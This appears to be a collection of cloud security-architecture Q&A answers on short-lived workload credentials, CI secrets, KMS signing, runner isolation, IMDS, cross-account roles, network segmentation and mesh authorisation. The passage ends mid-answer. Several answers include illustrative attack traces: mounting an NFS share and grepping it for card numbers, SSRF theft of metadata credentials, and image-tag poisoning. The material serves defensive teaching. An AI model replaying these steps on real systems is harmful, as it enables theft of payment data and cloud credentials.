Assumptions: the callers are pods in one or more Kubernetes clusters, the API is either in-cluster or a cloud service that supports OIDC federation, and the shared key is used for service-to-service auth rather than by a human.
Replace the shared key with per-workload, short-lived, audience-bound credentials minted from an attestation of the workload's runtime identity. In-cluster that is a SPIFFE SVID from the mesh or SPIRE; for cloud APIs it is a projected service-account token exchanged for cloud credentials through OIDC federation (IRSA on EKS, Workload Identity on GKE, federated identity credentials on AKS). The shared key survives only where the caller genuinely cannot be attested.
Choosing between the credible options
| Option | What the caller presents | Lifetime | Names the workload? | Non-K8s callers? |
|---|---|---|---|---|
| mTLS / mesh (SPIFFE SVID) | X.509 cert from the mesh CA | minutes to hours | yes, SPIFFE ID | only if in the mesh |
| Cloud workload identity (OIDC federation) | projected SA token → cloud STS | token ~1h, cloud creds minutes | yes | no |
| OAuth2 client credentials | client_id + client_secret | until rotated | no, still shared | yes |
| Vault dynamic secrets | Vault token → short-lived cred | TTL in minutes | yes, via auth method | yes |
The deciding criteria are three: does the resource accept OIDC or federation at all; is the caller inside the cluster; and how fast must revocation take effect. If the resource is a third-party SaaS that only accepts a static API key, none of the first three rows help and you are back to a broker holding the key with tight egress controls.
How the exchange works
A pod gets a projected service-account token, not a long-lived secret:
# /var/run/secrets/kubernetes.io/serviceaccount/token (projected)
aud: sts.amazonaws.com
sub: system:serviceaccount:payments:api
exp: 3600s # kubelet rotates at 80% of lifetime
The pod calls STS AssumeRoleWithWebIdentity with that token; STS validates the signature against the cluster's OIDC issuer, checks aud and sub, and returns temporary credentials (default 1h). The API sees a caller whose identity is the service account, not a byte string anyone can copy.
Failure modes
- Audience confusion. A token minted for service A replayed to service B. Audience binding rejects it; test this explicitly rather than assuming it.
- Trust-domain sprawl. Each cluster with its own issuer means each needs its own federation trust entry. Miss one and that cluster's pods fail closed at 3am.
- Clock skew. A 60-second credential plus a skewed node clock expires before the call lands. Keep node time synced and leave headroom in TTLs.
- Unattestable callers. On-prem batch jobs, CI runners, and third-party SaaS have no projected token. These need a broker or a scoped static credential, and pretending otherwise is how the shared key comes back.
Verification
Do not call it done on issuance alone. Demonstrate: a token is issued to a named replica; a token with the wrong audience is rejected; rotation happens without a restart; revocation takes effect within the TTL; and a workload can be replaced without any static secret left in the cluster.
Why the window matters
A 60-minute credential caps the useful life of a leaked token at 60 minutes. Against a 365-day key that is roughly an 8,760x reduction in exposure window, and it removes the copy that ends up in a fork or a chat thread. The point is not that short-lived credentials cannot leak; it is that a leaked one is worthless by the time it is found.
Curated: · Written: · Reviewed:
Q&A-51The pipeline still has an AWS access key in a secret variable, rotated twice a year. What should the architecture be?
Short answer. Delete the key and have the runner present a signed OIDC token to AWS STS, assuming a role scoped to that job. The credential then lives for minutes and dies with the job, so there is nothing to rotate twice a year. Assumptions: the runner can mint an OIDC token (GitHub Actions, GitLab CI, CircleCI, Buildkite and EKS pods all can), the pipeline talks to AWS, and the job needs a bounded set of API calls. If the runner has no OIDC issuer, the fallback is a bootstrap role that can only call sts:AssumeRole: never a key with standing permissions.
Mechanism. GitHub mints a per-job id-token JWT signed by token.actions.githubusercontent.com, with claims sub, aud and exp (minutes out). aws-actions/configure-aws-credentials calls sts:AssumeRoleWithWebIdentity. The role's trust policy pins sub, so a fork PR gets a token whose sub does not match and STS rejects it before any AWS call happens:
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Principal": {"Federated": "arn:aws:iam::111122223333:oidc-provider/token.actions.githubusercontent.com"},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"token.actions.githubusercontent.com:aud": "sts.amazonaws.com",
"token.actions.githubusercontent.com:sub": "repo:acme/pipeline:environment:prod"
}
}
}]
}
Session length is the role's MaxSessionDuration (1 hour default, up to 12 hours). Set it to the job's runtime, not the maximum.
Alternatives, and when federation does not fit.
| Option | Credential lifetime | Blast radius if leaked | Fits when |
|---|---|---|---|
| OIDC federation | token minutes; session ≤ MaxSessionDuration | the role's policy only | runner has an OIDC issuer |
| Bootstrap role + STS | bootstrap secret static; session ≤ 12 h | sts:AssumeRole on one role | runner can call STS but cannot mint OIDC |
| Secrets Manager rotation | static, rotated on schedule | everything the key can do | a third-party SaaS accepts only a static key |
| Static key in a CI secret | months | everything the key can do | nothing new: migrate off |
Rotation is the weakest of these: it shortens the window but does not shrink the blast radius, and a key exfiltrated at day 1 is usable until day 180. Scope by environment as well (one role per account and environment, with a permission boundary) so a staging job cannot touch prod.
Failure modes. A pull_request_target workflow that checks out the PR head and echoes env in a debug step; a sub written as repo:acme/pipeline:* or with StringLike, which matches every branch including PRs; credentials written to a cache or uploaded artifact. Detection: CloudTrail AssumeRoleWithWebIdentity events with an unexpected sub, GuardDuty credential findings, and an alarm on CreateAccessKey from any principal that is not break-glass. Illustrative numbers for the first case: a 7-month-old key with AdministratorAccess printed by a fork's debug step created 40 GPU instances in 3 hours, about $28,000, caught by the budget alarm rather than by CI.
Verification. Run the job, then aws sts get-caller-identity: it should print an assumed-role/... ARN, not a user ARN. Then present the old static key and require AccessDenied; if it still works, the migration is not done. A six-month key in CI is a six-month incident.
Curated: · Written: · Reviewed:
Q&A-15The Dockerfile copies a .env file so local and prod behave the same. Why is that an architecture defect?
Core answer (first 90 seconds)
Two defects, and the second is the one that bites.
Assume .env holds real credentials and the same Dockerfile builds staging and prod.
-
It couples configuration to the build. Twelve-factor config lives in the environment; the image should be build-once, run-anywhere. With
.envbaked in, staging and prod produce different image digests, so you cannot promote the artefact you tested: you rebuild per environment, and the tested artefact is not the shipped one. The image now carries environment identity, which is the architectural break. -
It writes the secret into an immutable layer.
COPY .envstores the bytes in a layer; deleting the file later does not remove them.
Mechanism
FROM node:20-slim
WORKDIR /app
COPY .env . # layer A: DATABASE_URL=postgres://...:hunter2@...
RUN rm .env # layer B: whiteout only
Trace: COPY produces layer A whose tar contains .env. RUN rm produces layer B with a whiteout entry; the merged filesystem no longer shows the file, but layer A is still in the image manifest. docker save app:tag | tar -x extracts layer A's blob, and the credential is there in plaintext. docker history --no-trunc shows the COPY step. Every registry reader, CI layer cache, and docker pull gets it.
Alternatives and their costs
| Approach | Secret in image | Same digest across envs | Cost / failure mode |
|---|---|---|---|
COPY .env | yes | no | any registry reader has it; rotation needs a rebuild |
BuildKit RUN --mount=type=secret | no | yes | build-time only; not for runtime config |
| Runtime injection (Vault agent, AWS Secrets Manager CSI, IRSA/Workload Identity) | no | yes | pod start depends on manager reachability and identity; rotation needs a reload path |
| Mounted file from a secret store | no | yes | needs a volume + sync agent; stale file if sync fails |
Build secrets are the right tool for build-time-only needs (a private registry token). Runtime config belongs in the environment.
When baked config is acceptable
Non-secret defaults: public endpoints, log level, feature flags. Bake the default, override at runtime.
Detection
Scan layers, not just the filesystem: trivy image --scanners secret app:tag, or gitleaks over docker save. Compare digests across environments, if staging and prod differ, config is in the build. Any historical tag that scanned clean after a rebuild still needs the old secret rotated, because the old layer is still pullable.
Curated: · Written: · Reviewed:
Q&A-70Release signing uses a KMS SIGN_VERIFY key that CI can Sign without an approval gate. What is wrong?
The defect is the authorization boundary, not the key type.
SIGN_VERIFY is the right key spec for signing: it can't decrypt, and that's fine. The problem is that the CI principal holds kms:Sign unconditionally. A signature is the trust anchor: verifiers (OS updaters, package registries, customers) trust the key, not the pipeline. So the set of effective publishers equals everyone who can get code executed in CI: any contributor who can push a workflow change, any compromised dependency, any poisoned action.
Approval has to gate the Sign call, not the build. If approval happens before the build and CI signs afterward, the approval is decorative.
What to do, and the alternatives
| Option | Where the boundary sits | Cost | When it's wrong |
|---|---|---|---|
| IAM deny + separate release role | Approval service assumes release-signer; CI has no kms:Sign | Low | Approval service becomes the new target; it must not be assumable by CI |
Key policy restricts kms:Sign to the release role | Enforced at the key, survives IAM drift | Low | Key policy edits need their own review |
| External or offline HSM with a signing ceremony | Human ceremony per release | High | Doesn't scale to per-commit or nightly releases |
| Keyless, OIDC-bound (e.g. Sigstore) | Identity of the workflow, no long-lived key | Medium | Verifiers must support it; changes the trust model |
The first two compose: put the grant in the key policy so an IAM mistake can't re-open it.
{
"Sid": "OnlyReleaseRoleMaySign",
"Effect": "Allow",
"Principal": {"AWS": "arn:aws:iam::111122223333:role/release-signer"},
"Action": "kms:Sign",
"Resource": "*",
"Condition": {"StringEquals": {"kms:SigningAlgorithm": "RSASSA_PSS_SHA_256"}}
}
CI keeps kms:GetPublicKey so it can verify its own build. Asymmetric KMS private keys are non-exportable, so this doesn't weaken key custody.
Failure modes and how you see them
- Poisoned workflow calls
kms:Signdirectly. Detect: CloudTrailkms:Signevents whoseuserIdentityis the CI role rather thanrelease-signer. Alert on any. - CI assumes
release-signeritself, bypassing approval. Detect: CloudTrailAssumeRoleon that role from the CI principal; also IAM Access Analyzer. - Key policy drift re-adds
kms:Signto CI. Detect: policy-as-code diff in CI, or an AWS Config rule on the key policy.
Verification I'd want before calling it fixed
- CI role calls
kms:Sign→AccessDenied. - Unapproved release attempt → no signature produced.
- Approved release → signature verifies against the published public key.
- Attempt to export the private key → not possible.
The invariant: the only principal that can produce a signature is one that passed the release gate.
Curated: · Written: · Reviewed:
Q&A-27Self-hosted runners are persistent VMs with Docker cache to save minutes. What is the supply-chain cost?
Assumptions: GitHub Actions self-hosted runners, one VM per team, jobs from both protected branches and PRs land on it, and the Docker daemon is shared across jobs. Under those, the supply-chain cost is that the runner stops being a build machine and becomes a mutable, network-positioned build artifact that any job can write to, and every later job inherits what the last one left.
Three costs:
1. Shared mutable state. Every job on the host runs as the same OS user, in the same _work directory, against the same Docker daemon. A job that can run docker build can retag an image a later job will pull. A job that can write _work can leave a file a later COPY . . picks up.
2. Persistent credentials and network position. The runner holds a registration credential, whatever cloud identity the workflow assumes, and usually sits inside the VPC with reach to internal registries, artifact stores and the instance metadata endpoint. Compromise is not one bad build; it is a foothold that can pull from and push to your internal supply chain.
3. Provenance gap. An ephemeral builder supports a clean statement: this artifact came from this commit on a fresh machine. A persistent runner cannot make that statement, so SBOM and attestation claims about the build environment are weaker than they look.
Worked example (hypothetical). Two jobs, one runner, no isolation:
# Job A — untrusted PR, same runner
$ docker build -t ci/base:latest .
# Dockerfile: FROM ubuntu:24.04 / RUN ... (attacker-controlled)
$ docker images ci/base
REPOSITORY TAG IMAGE ID CREATED SIZE
ci/base latest a1b2c3d4e5f6 2 seconds ago 78MB
# Job B — trusted release job, same runner
$ docker build -t app:1.4.0 .
# Dockerfile: FROM ci/base:latest / RUN make release
$ docker run --rm app:1.4.0 gcc --version
gcc (Ubuntu 13.2.0-23ubuntu4) 13.2.0
# ^ job A's gcc, not the one the base image was supposed to ship
Docker resolves ci/base:latest from the local daemon before any registry, so job B's make release runs job A's toolchain. No cache-key collision is needed: a mutable tag is enough. The layer cache is the same problem with a different key: the classic builder keys a cached layer on the parent layer plus the instruction text, so a job that can write layers can have them reused by a later build with matching instructions.
| Persistent VM + Docker cache | Ephemeral per job | |
|---|---|---|
| State inherited by next job | _work, image tags, layer cache, daemon | none |
| Credentials on host | long-lived, reused across jobs | per-job, OIDC or short-lived |
| Blast radius of one bad job | every later job on that host | that job |
| Warm build time | seconds (cache hit) | cold start, typically 1–3 min |
| Provenance claim | "built on runner-7 at some point" | "built from commit X on a fresh machine" |
Failure modes and detection. The one that hides longest is a poisoned image tag: nothing in the build log looks wrong, because the trusted job's Dockerfile is unchanged. Detect it by diffing image digests against the registry (docker inspect --format '{{index .RepoDigests 0}}' app:1.4.0) and alerting when a tag's digest changes without a corresponding push from CI. Second: leftover _work files. Check for files in _work older than the current run. Third: the runner picking up jobs it should not. A compromised host can re-register and receive jobs from private repos.
What to do. Run jobs ephemeral: ./config.sh --ephemeral makes a runner take exactly one job then deregister, and Actions Runner Controller does the same with a pod per job on Kubernetes. If you keep a warm cache, keep it in a registry or object store keyed by content digest, not on the runner's daemon. Give build jobs OIDC instead of stored cloud keys, scope the runner to one repo rather than the org, and keep self-hosted runners off public repos: GitHub's docs recommend against it because fork PRs can execute code on them.
When persistence is fine: a runner that only ever executes jobs from a protected branch, on a network segment with no route to production, holding no long-lived credentials, is a cache with extra steps and little risk. The cost scales with who can get a job scheduled on it.
Curated: · Written: · Reviewed:
Q&A-81Workloads use IMDS for roles. Why must hop count and v2 be architecture standards?
Core answer. Hop limit and IMDSv2 are standards because they close two different fetchers, and neither closes the other's. IMDSv2 stops an SSRF that can only issue a plain GET. Hop limit 1 stops a fetcher that is not on the instance: a bridged container, a sidecar, a proxy on another host. An SSRF running inside the instance is zero hops away, so hop limit 1 does nothing to it; a header-capable fetcher defeats v2. The real boundary is disabling IMDS on instances that don't need it, or blocking egress to 169.254.169.254 at the application or network layer. v2 and hop limit are the cheap defaults that shrink the blast radius while you get there.
Mechanism. IMDSv1 is a GET to http://169.254.169.254/latest/meta-data/iam/security-credentials/<role> and the response is the role's temporary credentials. IMDSv2 adds a session: PUT /latest/api/token with X-aws-ec2-metadata-token-ttl-seconds (1–21600 s), read the token from the body, then GET with X-aws-ec2-metadata-token. A fetcher that cannot choose the method or set a header cannot complete step one.
Hop limit is the TTL on the IMDS response, not a firewall. Default is 1 on new launches. A request from the instance itself is delivered; a request from a container with its own network namespace (awsvpc tasks, most CNI pods) crosses a bridge, the TTL hits zero, and the response is dropped. That is why container hosts often need 2.
| Fetcher | v1 | v2 only | v2 + hop limit 1 |
|---|---|---|---|
| Blind GET SSRF on the instance | creds | 401 | 401 |
| SSRF that sets method + headers | creds | creds | creds |
| Container / sidecar with own netns | creds | creds | dropped |
Worked trace. A "test your webhook" endpoint lets the caller pick method and headers. PUT /latest/api/token with ttl 21600 returns a token; GET /latest/meta-data/iam/security-credentials/ with that token returns the role name; GET .../<role> returns AccessKeyId, SecretAccessKey and Token; sts:AssumeRole with those creds reaches the billing account. Hop limit 1 never applies: every request originates on the instance. Only v2 stood in the way, and this fetcher satisfies it.
Failure modes. Raising hop limit to 2 to fix a broken awsvpc task silently re-opens the off-instance path for every other container on the host. Enforcing v2-only breaks SDKs and agents that still call v1: you find out from a 401 in a log, not a page. Detection is thin: IMDS is link-local, so it is absent from VPC Flow Logs and CloudTrail. GuardDuty's InstanceCredentialExfiltration findings (InsideAWS / OutsideAWS) are the signal that credentials left.
What to do. Disable IMDS where the workload doesn't need it. Otherwise set HttpTokens=required per instance or as an account default, keep hop limit at 1 and raise it only for hosts that genuinely need 2, and block egress to 169.254.169.254 from application code and from the network. Test through the real fetch interface, including redirects and alternate IP encodings.
Curated: · Written: · Reviewed:
Q&A-82A partner can AssumeRole into our logs account to debug. What must the architecture state?
What a strong answer says first
The architecture has to state four things about the trust, not the debugging workflow: who may assume, under what proof, for how long, and how it is revoked. Everything else is the partner's problem.
- The role lives in the logs account. The trust policy names the partner's AWS account as principal, or, tighter, a specific role ARN inside it.
- The trust requires
sts:ExternalIdequal to a value we generate per partner: high entropy, not the partner's account ID, not reused across partners. This is the confused-deputy defense. Without it, any other customer of the partner's AWS account can assume the role. - The permissions policy is scoped to the debug surface (
s3:GetObjecton one prefix,s3:ListBucketwith a matchings3:prefixcondition) and nothing else. - Session duration is capped by the role's
MaxSessionDuration(default 1 hour, settable 1–12), and the trust has a named owner, a review cadence, and a revocation path: delete the statement or rotate the external ID.
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {"AWS": "arn:aws:iam::111122223333:root"},
"Action": "sts:AssumeRole",
"Condition": {
"StringEquals": {"sts:ExternalId": "a7f3c1e9-4b2d-4f8a-9c6e-2d5b8a1f0e73"}
}
}
]
}
Trace of the call. The partner runs aws sts assume-role --role-arn arn:aws:iam::444455556666:role/partner-logs-debug --role-session-name partner-debug-01 --external-id <value>. STS evaluates the trust policy: principal matches, sts:ExternalId matches, so it returns credentials valid for DurationSeconds (default 3600). Wrong or missing external ID returns AccessDenied, and CloudTrail records the failed AssumeRole with errorCode: AccessDenied: that is the detection signal, not a silent success.
Alternatives and when a broader grant is right
| Option | External ID | Blast radius | When it's right |
|---|---|---|---|
| Trust policy + role | yes | one role, scoped policy | third-party partner, confused-deputy risk |
| Bucket policy to partner principal | no: no AssumeRole, so no sts:ExternalId | whatever the policy grants | partner is inside your org, or the data is non-sensitive |
| IAM Identity Center | n/a | your workforce | partner users are in an IdP you control |
| Permission boundary | n/a | caps an identity in your account | you delegate role creation; it does not constrain a cross-account assume |
Pinning the principal to a specific role ARN instead of the account root narrows who can assume, but breaks when the partner rotates that role; account root is more resilient but lets any principal in their account with sts:AssumeRole try. Scoping to one prefix is right for routine debugging, but if the partner needs to grep the whole bucket during an incident, a single-prefix grant forces a trust change mid-incident. Broader is right when the data is already low-sensitivity and a broken debug session costs more than the blast radius, then grant read on the bucket, keep the external ID, and keep the session short.
Failure modes
- No external ID: confused deputy. Detect via CloudTrail
AssumeRolefrom an unexpected principal or session name. - External ID guessable (the partner's account ID): same exposure. Generate it yourself.
- Trust left after the contract ends: a quarterly review misses it. Alert on any
AssumeRolefrom a principal not on an allowlist. - Session too long: a leaked session credential is valid for the full
DurationSeconds. CapMaxSessionDuration. - No S3 data events in CloudTrail: you see the assume but not what was read. Enable data events on the prefix.
Worked example (illustrative figures). Cap MaxSessionDuration at 3600 s. If the partner's debug sessions average 20 minutes, you carry 40 minutes of unnecessary exposure per session: acceptable. If you had left the default at 12 hours, a credential leaked at minute 5 would stay valid for 11 hours 55 minutes. The cap is the control; the review cadence is what catches the trust you forgot to delete.
Curated: · Written: · Reviewed:
Q&A-102An audit found 400 long-lived cloud access keys and shared service-account passwords, some years old, used by pipelines and third-party tools. How do you architect issuance, scoping, rotation, and retirement for non-human identities, and how do you migrate this estate?
Assume a multi-cloud estate with CI/CD pipelines, Kubernetes, and third-party SaaS integrations. The target is no static secrets: every non-human identity is a cryptographic identity with a short-lived credential, scoped to the workload, and retired when the workload is.
Issuance. Pipelines get OIDC federation: the CI job presents a signed OIDC token to the cloud STS, which exchanges it for a role session with a 15–60 minute TTL. On Kubernetes, use service account token volume projection (bound tokens) or SPIFFE/SPIRE to issue SVIDs. Third parties that can't do OIDC get a broker: they authenticate with their own identity (mTLS client cert or OIDC) and the broker issues a scoped, short-lived token. No shared passwords.
Scoping. One identity per workload, not per team. Policy as code with deny-by-default, permissions boundaries, and resource-level conditions (e.g., aws:SourceVpce, s3:prefix). For data-plane access, use attribute-based access control so the same role can't read all tenants. A pipeline that deploys to staging gets a role that can only write to staging resources.
Rotation. Short TTL is the rotation. For legacy systems that only accept static credentials (some databases, mainframes), use a secrets manager with dynamic secrets: it creates a DB user per connection with a 1-hour TTL and drops it. If a static key is unavoidable, rotate every 24 hours via automation, store in a vault with audit logging, and alert on use outside the expected source.
Retirement. Identity lifecycle is tied to the workload's lifecycle. When a pipeline is deleted or a service is decommissioned, its identity is revoked. Reconcile weekly: list all identities, map to owners via tags, flag any with no recent use or no owner. Orphaned identities are the audit finding; make them impossible by default expiry.
Migration. Don't big-bang. Inventory the 400 keys, classify by blast radius: third-party prod keys first, then CI/CD, then internal tools. For each, stand up the federation path, run in parallel, then revoke the static key. Use a facade: a sidecar or broker that accepts the old key during cutover and exchanges it for a short-lived credential, so you can migrate without changing every app at once. Track two metrics: count of long-lived credentials and mean credential TTL. Target: zero long-lived, mean TTL under 1 hour.
Artefacts. A table:
| Identity type | Mechanism | TTL | Rotation |
|---|---|---|---|
| Pipeline | OIDC → STS | 15–60 min | automatic |
| K8s workload | Bound SA token / SVID | 1 h | automatic |
| Third-party | Broker-issued token | 5–15 min | automatic |
| Legacy DB | Dynamic secret | 1 h | automatic |
| Unavoidable static | Vault + automation | 24 h | automated |
Arithmetic: 400 keys rotated twice a year means each key is valid for ~180 days. Moving to a 1-hour TTL reduces the exposure window by a factor of ~4,300. If one key leaks, the attacker has an hour, not six months.
Failure modes. Federation trust policy too broad (e.g., repo:* instead of repo:org/repo:ref:refs/heads/main) lets any repo assume the role. Token replay if audience isn't checked. Orphaned identities if no reconciliation. Third parties that refuse federation become an exception with compensating controls: IP allowlist, short-lived key via broker, and a review date.
Detection: inventory reconciliation, anomaly detection on credential use (source IP, time, volume), and expiry alerts. Break-glass: a sealed, audited static credential for the identity plane itself, rotated after use.
Curated: · Written: · Reviewed: —
Q&A-19We have PCI, corporate, and vendor VLANs. Why can a vendor jump still reach card data?
A VLAN is a broadcast domain, not an authorisation boundary. A vendor jump reaches card data because something the vendor VLAN can reach is also reachable from the CDE, and both zones have to reach shared infrastructure to function. The question is not whether an allow exists between VLAN 30 and VLAN 40; it is the transitive closure of everything each zone can touch.
Assumptions: inter-VLAN routing sits on an L3 firewall whose running ruleset can be exported; the vendor jump is a managed host with an OS account and probably domain credentials; card data lives on systems the assessor has scoped into the CDE.
The paths that actually carry traffic, roughly most common first
- A route with a permissive rule behind it: a leftover any-any, a stateless permit that lets return traffic in, a second L3 hop the diagram omits (switch SVIs, a load balancer, a router in the corporate core), or a trunk misconfiguration that puts both subnets on one L2 domain. Read the running config, not the Visio.
- Shared services. AD is the big one: DNS, LDAP, Kerberos, SMB, NTP, syslog, patch distribution, backup targets, hypervisor console, EDR server, CI runner. Anything reachable from both zones is a relay. If the vendor can write it and the CDE reads it, data comes to the vendor; if the CDE writes it and the vendor reads it, data leaves.
- Identity plus host firewall. A CDE host that accepts domain credentials, and a vendor engineer with an account, makes the inter-VLAN deny decorative. A Windows server whose firewall profile is Domain and which allows the server subnet authenticates anyone on the domain.
- The management plane. EDR, backup and config-management agents run as SYSTEM on the CDE host and take orders from a server. If the vendor VLAN can reach that server or its API, the vendor acts on the CDE host without a packet crossing into the CDE subnet.
- The jump host itself. Multi-homed, dual-stack, or classified as corporate for the PCI rule and vendor for the corporate rule, so it sits in both allow lists.
Worked trace (a shape I have seen; figures illustrative)
A PCI application wrote nightly debug extracts containing PANs to a logging NFS server so a vendor could fix a parser. The export was readable across a /24 that both zones routed to. From the vendor jump:
showmount -e 10.20.5.9
# /logs, /logs/export
mount -t nfs 10.20.5.9:/logs /mnt
grep -rlE '^[0-9]{16}$' /mnt
# hits the debug extracts
The next night a vendor-side housekeeping job swept the whole export; 1.1 million PANs sat on that share for eight days before anyone read the access log.
| Path | Intended | Observed in flows | Result |
|---|---|---|---|
| vendor jump to CDE 443 | deny | 0 flows | nothing |
| vendor jump to NFS 2049 | allow | 3 clients | mount succeeds |
| PCI app to NFS write | allow | 02:10 nightly | PANs on share |
| NFS to vendor read | allow | nightly | PANs leave |
Path length: two hops. The direct-path control was irrelevant.
What I would change
- Derive the effective graph from flow logs (Zeek conn.log, NetFlow, or VPC Flow Logs) as a zone-by-zone matrix and diff it against the intended matrix. Every cell carrying traffic the policy says deny is the bug, and the helpers will be in there.
- Default-deny between consequence zones, then give each shared service an identity-aware, protocol-narrow front: a forward-only resolver for DNS, a write-only forwarder for syslog, per-object ACLs or a brokering service for file transfer.
- Enforce the last hop on the host. Host firewall plus identity means the CDE target decides, not the router.
- Attempt the prohibited paths from every zone and every helper. An allow in a config is not a reachable path; a reachable path is what gets used.
- Re-test on change rather than annually. PCI DSS v4.0.1 requires network access to and from the CDE to be restricted and segmentation to be re-validated, but a year is a long gap - alert on any new zone pair appearing in the flow matrix.
Trade-off: host-based microsegmentation is precise but needs an agent on every asset, and hypervisors, appliances and mainframes will not take one; the first dry run breaks chatty legacy protocols. Network-level default-deny is cheaper and coarser, and unless the shared services are carved per protocol and per identity you have moved the bridge rather than removed it.
Failure modes worth checking: policy drift, meaning a two-hour emergency allow still in place two years later - diff the running config against approved change records; a dual-homed helper nobody drew - compare switch MAC tables and the flow matrix against the topology diagram; and files copied into a shared zone for debugging, which is the one that hurts, because it is a process failure inside an allowed path. Scanning the share content is the only control that catches it.
An allow rule is not a reachable path. Exercise the path.
Curated: · Written: · Reviewed:
Q&A-20Security groups allow 10.0.0.0/8 on 443 everywhere because services need to talk. What is the alternative?
What a strong candidate says first
The alternative is to express the rule in terms of identity instead of address space: allow the service, not the subnet. Security groups are already default-deny, a packet with no matching rule is dropped, so 10.0.0.0/8 on 443 is not something the platform requires. It is a decision to permit every host in the VPC.
Three levels, chosen by how much identity you need:
- SG-to-SG reference (L3/L4). The rule's source is another security group ID, not a CIDR. Membership is dynamic: a new instance launched into the peer group is allowed with no rule change, and an instance that leaves loses access.
- NetworkPolicy / workload identity (L3/L4, Kubernetes). Select pods by label, default-deny the namespace, allow only the named peers.
- mTLS + authorization policy (L7). The mesh authenticates the caller's workload identity and authorizes the method or path. This is the only layer that constrains a compromised service that is already inside an allowed flow.
# Terraform: allow the orders service to reach payments on 443,
# by identity, not by CIDR.
resource "aws_security_group_rule" "orders_to_payments" {
type = "ingress"
from_port = 443
to_port = 443
protocol = "tcp"
security_group_id = aws_security_group.payments.id
source_security_group_id = aws_security_group.orders.id
}
# Kubernetes: same intent, default-deny then allow by label.
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata: { name: payments, namespace: prod }
spec:
podSelector: { matchLabels: { app: payments } }
policyTypes: [Ingress]
ingress:
- from:
- podSelector: { matchLabels: { app: orders } }
ports:
- { protocol: TCP, port: 443 }
| Level | Rule expressed as | Stops | Does not stop |
|---|---|---|---|
| SG-to-SG | peer security group ID | any host outside the peer group | a compromised peer |
| NetworkPolicy | pod label | pods outside the selector | a compromised peer pod |
| mTLS + authz | workload identity + method | unauthenticated or unauthorized calls | a compromised peer holding a valid identity |
What it costs
Per-flow rules are not free, and pretending otherwise is how these migrations stall:
- Rule count. AWS defaults to 60 inbound rules per security group (adjustable). A mesh of N services has up to N² pairs; past a few dozen services you need a policy engine (a service mesh, or a tool that compiles intent into rules) rather than hand-written rules.
- Coupling. SG-referencing-SG means adding an instance to a peer group silently grants it access. That is the point, and it is also a footgun: group membership becomes a security-relevant change that needs review.
- Migration. You cannot flip to deny in one change. Enumerate real flows first (VPC Flow Logs, or a mesh in permissive mode), generate the allow list from observed traffic, then remove the /8. A broad allow is a legitimate interim state, but it needs an owner and an expiry date, not a permanent exception.
- Break-glass. If the identity rules are wrong, the blast radius is the whole call path. Keep a documented, audited break-glass path and rehearse it.
Failure modes and how you see them
- Stale allows. Rules nobody uses, kept forever. Detect by diffing the rule set against 30 days of flow logs; anything with zero traffic is a deletion candidate.
- Supernet drift. A new /8 or /16 appears because someone was in a hurry. Alert on any rule whose source prefix is shorter than /24 without an exception tag.
- L4-only thinking. An allowed flow is a tunnel: a compromised orders pod can call payments. Only L7 authorization (mTLS identity plus a method allow-list) constrains what it can do once inside.
How I would verify it
From a host in an unrelated subnet, attempt 443 to a sensitive service and require a drop with a logged identity, not a timeout you cannot attribute. Then confirm the intended peer still connects.
Curated: · Written: · Reviewed:
Q&A-45The mesh requires mTLS everywhere. Why can service A still read service B's tenant data?
mTLS proves which workload opened the socket. It says nothing about what that workload is allowed to do. If the mesh's authorisation policy is "any authenticated peer may call any service," then every workload holding a valid certificate is a peer of every other, and A reads B's tenant data because the certificate was the only check.
Assumptions I'd state up front: one mesh, per-workload identities (SPIFFE IDs, e.g. spiffe://cluster.local/ns/payments/sa/checkout), policy enforced at the sidecar, and B's tenant rows reachable only through B's API. If any of those is false the answer changes.
Why mTLS alone can't stop it
mTLS is a handshake: both sides present certificates, the data plane verifies the chain and binds a workload identity to the connection. That is authentication of the transport peer. Authorisation is a separate decision: given identity X, may it invoke method M on resource R? The mesh does not make that decision unless you write a policy that does.
This is where the default bites. In Istio, PeerAuthentication: STRICT enforces mTLS mesh-wide, but AuthorizationPolicy is a different resource, and with none defined the data plane allows all authenticated traffic. So "mTLS everywhere" plus an empty policy store equals allow-authenticated-peers. The socket is encrypted; the action is unconstrained.
The failure this produces
A debug service with a valid mesh identity enumerated B's API and pulled tenant records, because the only rule in force was allow-any-authenticated-peer. Worked example, figures illustrative:
| Policy in force | Socket | Read of B's tenant rows | Observed |
|---|---|---|---|
| mTLS only, no AuthorizationPolicy | encrypted | allowed | 5.5M records exfiltrated |
| mTLS + default-deny method ACL | encrypted | denied | 0 of 1,000 sampled rows |
| mTLS + method ACL + tenant-scoped query | encrypted | denied | 0 rows; row filter as second layer |
The third row matters because a method ACL alone still lets a permitted caller hit GET /tenants/{id}/records with someone else's {id}. Method-level authorisation answers "may A call this endpoint"; it does not answer "may A see this tenant's rows." That second question needs the tenant identity from the request, which the sidecar sees only if it parses the path or body.
What to pair with mTLS
- Default-deny
AuthorizationPolicyin the policy store, then explicit allow rules per caller identity and method. Nothing is reachable until named. - Tenant scoping below the mesh: in the application or an external authorisation engine (OPA via Envoy
ext_authz) that can read the tenant ID and enforce row-level rules. The mesh alone cannot, because the tenant ID is in the request payload, not the TLS layer. - Distinct identities per workload. A shared service account across services collapses every caller into one principal and makes per-caller policy meaningless.
How I'd verify it
Call a sensitive method from a valid mesh identity that is not in the allow list and require a deny: a 403 with RBAC: access denied, and the caller's SPIFFE ID in the access log. Then call a permitted method with a tenant ID the caller does not own and require a deny at the row layer. Both must fail closed; a 200 on either means the control is decorative.
Trade-offs and when not to lean on the mesh
Mesh policy is cheap to operate and uniform across languages, but it is L7-blind to request bodies and database rows. If authorisation depends on the tenant ID, resource ownership, or field-level rules, put it in the app or an ext_authz engine and keep the mesh policy as the coarse outer gate. Watch for stale policy after a new endpoint ships: an unlisted route under default-deny fails closed, which is the behaviour you want.
A certificate is a nametag, not a permission.
Curated: · Written: · Reviewed:
Q&A-46The gateway checks JWT and rate limits, so services trust every request they receive. What breaks?
Assume the usual shape: the gateway terminates TLS, verifies the JWT, applies a per-token or per-IP rate limit, and injects identity headers (X-User-Id, X-Forwarded-User), or the mesh asserts a SPIFFE identity. Services on a private network read "it arrived here" as "it was authorised".
What breaks is the meaning of the check. The gateway can prove the caller holds a valid token; it cannot decide "may this caller merge account 811", because 811 is a row in the service's own database. The real guarantee is "authorised at the edge, provided every request traversed the edge and no decision needed object data". Both provisos fail.
Four ways it fails
